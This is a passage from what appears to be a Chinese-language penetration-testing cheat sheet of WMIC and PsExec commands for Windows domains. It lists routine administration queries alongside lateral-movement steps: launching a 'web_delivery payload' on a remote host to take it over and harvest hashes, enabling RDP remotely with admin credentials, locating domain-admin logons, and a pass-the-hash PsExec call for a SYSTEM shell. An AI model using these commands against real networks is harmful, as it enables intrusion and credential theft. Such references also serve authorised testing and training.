· wmic process list brief
• 程序列表簡報
· wmic process list brief /every:1
• 每隔一秒重新整理一次系統程序
· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"[email protected]#123" process list brief
1.12.3. 查詢當前及遠端機器上指定程序的詳細資訊
· wmic process where name='calc.exe' list brief
· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"[email protected]#123" process where name='calc.exe' list brief
1.12.4. 刪除當前及遠端機器中的指定程序
· wmic process where name='calc.exe' delete
· wmic /node:"192.168.3.122" /user:klionsec\administrator
/password:"[email protected]#123" process where name='calc.exe' delete
1.12.5. 在當前機器中執行指定程式
· wmic process call create "calc.exe"
1.12.6. 通過smb在遠端機器上執行指定程式,如,在本地讓遠端機器上線,在抓取目標系統使用者的hash,等等...
· wmic /node:192.168.3.122 /user:klionsec\administrator /password:"[email protected]#123" process call create "web_delivery payload"
1.12.7. 終止執行某程式
· wmic process where name="calc.exe" call terminate
· wmic /node:192.168.3.122 /user:klionsec\administrator
/password:"[email protected]#123" process where name="calc.exe" call
terminate
1.12.8. 開啟,關閉當前機器的rdp
· wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
SetAllowTSConnections 1 開啟
· wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
SetAllowTSConnections 0 關閉
1.12.9. 開啟,關閉遠端機器的RDP
· wmic /node:"192.168.3.122" /USER:"klionsec\administrator"
/password:"[email protected]#123" PATH win32terminalservicesetting
WHERE (_Class!="") CALL SetAllowTSConnections 1
· wmic /node:"192.168.3.122" /USER:"klionsec\administrator"
/password:"[email protected]#123" PATH win32terminalservicesetting
WHERE (_Class!="") CALL SetAllowTSConnections 0
1.12.10. 查詢當前機器已安裝的補丁
· wmic qfe get description,installedOn,HotFixID,InstalledBy
· wmic qfe get CSName,Description,hotfixid
1.12.11. 查詢當前機器自啟動程式有哪些
· wmic startup list full
· wmic STARTUP GET Caption,Command,User
1.12.12. 查詢當前機器所安裝的所有軟體名
· wmic product get name /value
· wmic product get name,version
1.12.13. 刪除當前機器中指定名稱的軟體
· wmic product where name="Google Update Helper" call uninstall
/nointeractive
1.12.14. 所有的碟符及剩餘空間
· wmic logicaldisk get description,name
· wmic logicaldisk where drivetype=3 get
name,freespace,systemname,filesystem,volumeserialnumber
1.12.15. 簡要配置資訊
· wmic computersystem list brief /format:list
1.12.16. 作業系統位數
· wmic cpu get DataWidth /format:list
1.12.17. 使用者及組資訊
· wmic useraccount list brief /format:list
· wmic group list brief /format:list
1.12.18. 所有使用者的詳細資訊
· wmic useraccount list brief
1.12.19. 所有服務的詳細狀態
· wmic service list brief
1.12.20. 指定域的域管有哪些
· wmic /node:rootkit path win32groupuser where
(groupcomponent="win32group.name=\"adm\",domain=\"rootkit\"")
1.12.21. 檢視誰登陸過指定機器,適合用來找域管程序
· wmic /node:192.168.3.23 path win32_loggedonuser get antecedent
1.12.22. 查詢本機共享
· wmic share get name,path,status
1.13. pstools
1.13.1. 彈回一個system許可權的cmdshell
· psexec /accepteula \192.168.3.122 -u klionsec\administrator -p
"[email protected]#123" -s -c -f "cmd.exe"
· psexec /accepteula \192.168.3.23 -u klionsec\administrator -p
lm:ntlm -s -c -f "cmd.exe"
• 適合03以下的系統